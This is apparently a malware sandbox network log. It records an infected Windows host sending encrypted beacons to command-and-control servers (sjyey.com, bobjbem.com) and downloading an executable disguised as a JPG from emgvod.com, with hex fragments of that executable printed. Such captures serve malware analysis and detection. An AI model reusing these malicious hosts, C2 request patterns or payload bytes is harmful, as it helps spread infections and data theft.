Feb 5, 2024 10:58:30.664705992 CET	320	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 7a 07 e4 b7 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vuz*kt!T1 `~X1t<i!9KB+k_"xy])%BEcGgnKhfxtq!2GbXYo
Feb 5, 2024 10:58:31.264468908 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49781	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:31.436470985 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://avkruwaradyfeud.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 150 Host: sjyey.com
Feb 5, 2024 10:58:31.436564922 CET	150	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 7c 0d c9 fd Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu\|U1Y(Df*>e\Z}AyJT0~x1MBs6v
Feb 5, 2024 10:58:32.006409883 CET	285	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 39 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 7c 06 6d 50 fb 3c 44 f8 f7 4a bc 9b ef ae 6d c5 60 df e8 24 Data Ascii: #\\|mP<DJm`$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49782	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:32.114336967 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:32.358829975 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49784	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:32.793087959 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:33.031363010 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49785	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:33.403342009 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:33.641855001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49786	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:34.009685040 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:34.249670982 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49788	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:34.605695963 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:34.844048977 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49789	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:35.197746038 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:35.435823917 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49790	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:35.777987003 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:36.016320944 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49791	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:36.363986015 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:36.602771997 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49792	138.36.3.134	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:36.432760954 CET	157	OUT	GET /emd/1.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: emgvod.com
Feb 5, 2024 10:58:37.030251980 CET	239	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Mon, 05 Feb 2024 09:58:36 GMT Content-Type: image/jpeg Content-Length: 458752 Last-Modified: Mon, 05 Feb 2024 07:50:02 GMT Connection: close ETag: "65c0932a-70000" Accept-Ranges: bytes
Feb 5, 2024 10:58:37.030380964 CET	1286	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PE
Feb 5, 2024 10:58:37.030399084 CET	1286	IN	Data Raw: 8b 45 ec c1 e0 04 83 3d 3c 29 46 00 0c 89 45 fc 75 3e 53 8d 85 bc fb ff ff 50 53 ff 15 1c c0 44 00 53 8d 45 c4 50 53 53 53 ff 15 20 c0 44 00 33 c0 66 89 45 e0 8d 7d e2 66 ab 8d 45 bc 50 ff 75 e0 8d 85 bc ef ff ff 53 50 53 ff 15 8c c0 44 00 8b 45 Data Ascii: E=<)FEu>SPSDSEPSSS D3fE}fEPuSPSDEE<)F=u8)F@.=uSDEPDSS(D(FUEMEE4)F=UE]EEE1EE3+uEEEEMEuE1E
Feb 5, 2024 10:58:37.030415058 CET	332	IN	Data Raw: 59 7a b8 36 0a 4d 01 f7 64 24 34 8b 44 24 34 81 6c 24 54 81 6e 99 2e 81 44 24 24 5b 20 f0 75 b8 b8 df e7 34 f7 64 24 4c 8b 44 24 4c 81 44 24 3c 01 80 c4 1d 81 6c 24 34 33 98 ba 05 81 44 24 34 ed 3c 32 6e b8 54 e6 d4 70 f7 64 24 14 8b 44 24 14 81 Data Ascii: Yz6Md$4D$4l$Tn.D$$[ u4d$LD$LD$<l$43D$4<2nTpd$D$D$,!;^D$PrD$HG~l$0\%Kl$@!*D$3=<)Fj^t$t\$p\$`$QQ$XXXX
Feb 5, 2024 10:58:37.030433893 CET	1286	IN	Data Raw: 15 74 c0 44 00 81 fe 7f 25 2b 00 7f 09 46 81 fe bb 18 01 00 7c e8 33 f6 53 53 53 53 53 53 ff 15 70 c0 44 00 53 53 ff 15 38 c0 44 00 81 fe ec fd 2a 00 7e 0a 81 7c 24 58 45 7e 7c 78 75 09 46 81 fe f7 42 00 00 7c d1 a1 3c 5f 45 00 a3 3c 29 46 00 e8 Data Ascii: tD%+F\|3SSSSSSpDSS8D*~\|$XE~\|xuFB\|<_E<)F=<)FuSSS$DNuL$\|_^3d[]~rv1YfFFU S39]u<SSSSSNE;tVuEuEuEPE
Feb 5, 2024 10:58:37.214030027 CET	1286	IN	Data Raw: ea 26 00 00 59 f6 05 10 20 45 00 02 0f 84 ca 00 00 00 89 85 e0 fd ff ff 89 8d dc fd ff ff 89 95 d8 fd ff ff 89 9d d4 fd ff ff 89 b5 d0 fd ff ff 89 bd cc fd ff ff 66 8c 95 f8 fd ff ff 66 8c 8d ec fd ff ff 66 8c 9d c8 fd ff ff 66 8c 85 c4 fd ff ff Data Ascii: &Y EffffffuE0@jPjPv%(0j@,D(PDj$UM EU
Feb 5, 2024 10:58:37.214080095 CET	1286	IN	Data Raw: eb 13 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff b8 ff 00 00 00 e8 cf 3d 00 00 c3 e8 78 3f 00 00 e9 79 fe ff ff 8b ff 55 8b ec 51 56 8b 75 0c 56 e8 08 4c 00 00 89 45 0c 8b 46 0c 59 a8 82 75 17 e8 a8 0f 00 00 c7 00 09 00 00 00 83 4e 0c 20 83 c8 ff Data Ascii: 3@eE=x?yUQVuVLEFYuN /@t"S3t^NFFF^]u,I ;tI@;uufIYuVIYFWF>HN+I;N~WPu
Feb 5, 2024 10:58:37.214099884 CET	1286	IN	Data Raw: 44 08 d0 89 85 cc fd ff ff e9 cc 08 00 00 89 b5 e8 fd ff ff e9 c1 08 00 00 80 fa 2a 75 26 83 c7 04 89 bd dc fd ff ff 8b 7f fc 3b fe 89 bd e8 fd ff ff 0f 8d a2 08 00 00 83 8d e8 fd ff ff ff e9 96 08 00 00 8b 85 e8 fd ff ff 6b c0 0a 0f be ca 8d 44 Data Ascii: D*u&;kD{ItUhtDltwcT;luC9- !<6u{4uCC<3u{2uCC
Feb 5, 2024 10:58:37.214109898 CET	1286	IN	Data Raw: ff 83 c4 1c 81 e7 80 00 00 00 74 20 39 b5 e8 fd ff ff 75 18 8d 85 a4 fd ff ff 50 53 ff 35 6c 2c 45 00 e8 1d 2e 00 00 59 ff d0 59 59 80 bd ef fd ff ff 67 75 1c 3b fe 75 18 8d 85 a4 fd ff ff 50 53 ff 35 68 2c 45 00 e8 f8 2d 00 00 59 ff d0 59 59 80 Data Ascii: t 9uPS5l,E.YYYgu;uPS5h,E-YYY;-uCS$sHH'iQ0EK t
Feb 5, 2024 10:58:37.214121103 CET	1286	IN	Data Raw: f4 fd ff ff 8b 49 fc 89 8d e4 fd ff ff c7 85 d8 fc ff ff 17 04 00 c0 c7 85 dc fc ff ff 01 00 00 00 89 85 e4 fc ff ff ff 15 b0 c0 44 00 6a 00 8b d8 ff 15 a0 c0 44 00 8d 85 28 fd ff ff 50 ff 15 9c c0 44 00 85 c0 75 0c 85 db 75 08 6a 02 e8 2c 4b 00 Data Ascii: IDjD(PDuuj,KYhDPDM3[U5qE(Yt]jJY]UE3;H EtA-rHwjX]L E]DjY;#]1u!E
Feb 5, 2024 10:58:37.214131117 CET	1286	IN	Data Raw: 2f 7d 40 00 c7 05 6c 2c 45 00 bc 7c 40 00 c3 8b ff 55 8b ec e8 96 ff ff ff e8 66 52 00 00 83 7d 08 00 a3 d4 71 45 00 74 05 e8 ed 51 00 00 db e2 5d c3 cc cc d9 c0 d9 fc dc e1 d9 c9 d9 e0 d9 f0 d9 e8 de c1 d9 fd dd d9 c3 8b 54 24 04 81 e2 00 03 00 Data Ascii: /}@l,E\|@UfR}qEtQ]T$fT$l$tDB%=tBD$BD$$,$BD$%=tD$f<$t,$Zf$f=tf tf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49793	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:37.026247025 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:37.264264107 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49794	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:37.607070923 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:37.844944000 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49795	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:38.226021051 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:58:38.464013100 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:58:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49797	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:38.711245060 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://frspovjodrnqaee.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: sjyey.com
Feb 5, 2024 10:58:38.711350918 CET	357	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 03 6b 2c 90 f4 76 0b 75 2f 57 c3 a9 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA ,[k,vu/W3lUmuCT-gp&rX_*&ly!KR3I%aL&H:.$gfC=E; {mt7^aYe3}
Feb 5, 2024 10:58:39.285068989 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49796	5.42.64.33	80	2896	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:38.727811098 CET	139	OUT	GET /ping.php?substr=four HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 5.42.64.33 Connection: Keep-Alive Cache-Control: no-cache
Feb 5, 2024 10:58:38.940316916 CET	419	IN	HTTP/1.1 404 Not Found X-Powered-By: Express Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 147 Date: Mon, 05 Feb 2024 09:58:38 GMT Connection: keep-alive Keep-Alive: timeout=5 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 70 69 6e 67 2e 70 68 70 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /ping.php</pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49798	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:38.809444904 CET	318	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c646db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ef810c2e8949b33 HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
